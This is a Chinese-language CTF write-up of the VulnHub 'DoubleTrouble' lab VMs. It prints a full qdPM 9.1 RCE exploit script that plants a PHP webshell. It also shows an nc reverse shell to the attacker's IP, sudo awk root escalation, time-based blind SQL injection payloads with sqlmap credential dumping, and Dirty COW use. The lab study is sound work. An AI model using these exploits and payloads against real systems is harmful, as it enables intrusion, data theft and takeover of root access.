靶机:
https://www.vulnhub.com/entry/doubletrouble-1,743/
难度:
- 中
目标:
- 取得两台靶机 root 权限
涉及攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- 开源CMS漏洞利用
- 隐写术
- 密码爆破
- GTFObins提权
- SQL盲注
- 脏牛提权
学习记录(nc):
nc
命令用来传文件,在很多时候传大文件的时候往往比用python
来启用HTTP
服务来传输的效果更好,而且nc
几乎在所有的Linux
系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.0.103
nmap -p22,80 -sV -sC 192.168.0.103
qdPM
是一个开源、免费,基于Web
的项目管理工具,其实也就是一个cms
系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。”
查看release notes
,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。
发现有一个/install
路径和/core/cache/qdPM/
路径
/core/cache/qdPM/
路径只能查看到文件名称,无法看到源码
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA
,收集记录下来
searchsploit qdpm
搜索漏洞库,发现9.1
版本有RCE
远程代码执行漏洞
把它们复制到当前目录里查看
发现是同一个CVE
漏洞编码,只是使用的Python
版本不一样,并且是需要登录之后Authenticated
才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了
sudo dirsearch -u http://192.168.0.103/
搜索目录,发现一个/secret/
路径,有一张图片!
steghide info doubletrouble.jpg
,查看图片发现能容下4.7K
的隐写数据,但是需要密码。
stegseek --crack doubletrouble.jpg rockyou.txt
一秒钟破解出密码92camaro
stegseek --crack doubletrouble.jpg rockyou.txt -xf file
将隐写内容提取出来并命名为file
,查看file
文件获得账号密码otisrush@localhost.com``otis666
用这个账号密码成功登录Web
应用的后台,那么我们就可以利用刚刚的两个python
脚本来进行漏洞的利用了。
mousepad 50175.py
编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下
修改好之后的代码应该是这样的
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution
#!/usr/bin/python3
import sys
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)
request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
, 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
url = HOSTNAME + '/index.php/login'
result = session_requests.get(url)
#print(result.text)
login_tree = html.fromstring(result.text)
authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
# The designated admin account does not have a myAccount page
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')
if __name__ == '__main__':
print("You are not able to use the designated admin account because they do not have a myAccount page.\n")
parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password', help='User password')
args = parser.parse_args()
# Added detection if the arguments are passed and populated, if not display the arguments
if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
main(args.hostname, args.email, args.password)
else:
parser.print_help()
python3 50175.py
可以正常运行了,那么给它加上参数来使用
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666
成功创建了一个后门文件,上传了一个Webshell
成功的任意命令执行
反弹shell
?cmd=which nc
发现存在nc
命令
?cmd=nc -e /bin/bash 192.168.0.101 4444
反弹shell
python3 -c "import pty;pty.spawn('/bin/bash')"
升级一下shell
提权
sudo -l
https://gtfobins.github.io/gtfobins/awk/#sudo
可以用Gtfobins
来提权
sudo awk 'BEGIN {system("/bin/bash")}'
幸福来得太突然,成功获取root
权限!
在/root
目录发现第二个ova
格式的文件,那需要把它下载下来再导入VirtualBox
当中
学习记录(nc):
nc
命令用来传文件,在很多时候传大文件的时候往往比用python
来启用HTTP
服务来传输的效果更好,而且nc
几乎在所有的Linux
系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件
nc -lvnp 4444 > second.ova
首先在kali
启动侦听,准备接收文件
然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1
传输文件,-w 1
参数的意思是当文件传输完毕之后隔一秒钟就断开连接
md5sum second.ova
传输完成之后检查md5
是否一致,一致就说明文件没有经过任何修改
那么接下来就把它导入到VirtualBox
当中去
第二次主机发现
sudo arp-scan -l
发现它的IP
地址192.168.0.104
第二次端口扫描和服务发现
sudo nmap -p- 192.168.0.104
sudo nmap -p22,80 -sV -sC 192.168.0.104
首先对80
端口发起攻击,发现页面挺简单的,一个登录框
万能密码无法绕过来进行登录,源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/
尝试进行目录扫描,发现有/cgi-bin/
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh
对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获
那还是把目光放到唯一的登录页面上去吧,启动BurpSuite
在登录的时候抓包
SQL盲注(时间盲注)
输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。
代码解析
' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
让我们逐步分解这一段代码:
- **起始单引号 **
**'**
:- 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
注入攻击会这样插入单引号,使其变成:
SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
- AND:
- 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
- (SELECT x FROM (SELECT (SLEEP(10)))XZ):
- 这是一个子查询。让我们进一步分解:
- (SELECT (SLEEP(10))):
- 这部分是一个内嵌子查询。
SLEEP(10)
是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
- 这部分是一个内嵌子查询。
- (SELECT x FROM … XZ):
- 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(
x
),并将结果命名为XZ
。
- 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(
- (SELECT (SLEEP(10))):
- 这是一个子查询。让我们进一步分解:
- #:
- 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。
最终结果
将这段注入代码插入到原来的查询中,例如:
SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这会导致数据库服务器执行如下操作:
- 查询用户表(users),查找用户名为’admin’且密码为空的记录。
- 同时,执行子查询
(SELECT x FROM (SELECT (SLEEP(10)))XZ)
。 - 由于
SLEEP(10)
函数的存在,数据库服务器会暂停执行10秒。 - 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。
应用情境
这种时间盲注技术通常用于:
- 确认注入点:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。
- 提取数据:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。
发现服务器确实10s
之后才响应,说明SLEEP(10)
函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是a
,是不是b
,是不是c
…挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。
把相同的payload
放到psw
里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
把前面的数据包保存为1.txt
,让sqlmap
去跑``
跑出来是mysql
数据库了
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs
**-p uname**
:- 指定注入点参数。在这个例子中,
uname
是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含uname=admin
,sqlmap
将尝试在这个参数的位置进行SQL注入。
- 指定注入点参数。在这个例子中,
**--dbms mysql**
:- 明确指定目标数据库管理系统为MySQL。这可以帮助
sqlmap
优化注入测试,因为不同的DBMS有不同的SQL语法和功能。
- 明确指定目标数据库管理系统为MySQL。这可以帮助
**--dbs**
:- 命令
sqlmap
列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。
- 命令
发现两个数据库doubletrouble
和information_schema
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username
这两列
那我们不管了直接dump
下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
获得两对账号密码:
montreux``GfsZxc1
ZubZub99``clapton
用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现22
端口是开放的,管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104
登录,使用密码ZubZub99
成功登录
提权(脏牛漏洞):
uname -a
发现内核版本是3.2.0
利用nc
把exp
传输过去
gcc -pthread exp.c -o exp -lcrypt
在靶机生成一个exp
可执行文件
命令解析
**gcc**
:- GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。
**-pthread**
:- 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。
**exp.c**
:- 源代码文件名。这个文件包含了C语言编写的代码。
**-o exp**
:- 指定输出文件名为
exp
。编译后的可执行文件将被命名为exp
。如果没有这个选项,默认输出文件名为a.out
。
- 指定输出文件名为
**-lcrypt**
:- 这个选项告诉编译器链接
crypt
库。crypt
是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是libcrypt.so
或libcrypt.a
。
- 这个选项告诉编译器链接
chmod +x exp
赋予可执行权限
./exp pass
设置密码为pass
根据脏牛漏洞的利用代码,一旦我们执行./exp pass
,它就会使用一个叫firefart
的账号来替换目标操作系统的root
账号,并拥有root
账号的uid``gid
以及所有的权限,然后会自动备份一下当前操作系统的/etc/passwd
文件到/tmp/passwd.bak
,如下图所示。
ssh firefart@192.168.0.104
登录目标系统
如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将/tmp
目录下已经备份的passwd.bak
这个文件给它重新覆盖回原来的/etc/passwd
文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root
账号本身。
cp /tmp/passwd.bak /etc/passwd
拷贝回来之后
passwd
重新设置root
账号的密码为123456
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用root
账号来进行登录
ssh root@192.168.0.104
查看/root
目录下的文件,logdel2
看起来是一个日志清理的脚本,我们不关心它。
查看root.txt
这个flag
文件,打靶完毕!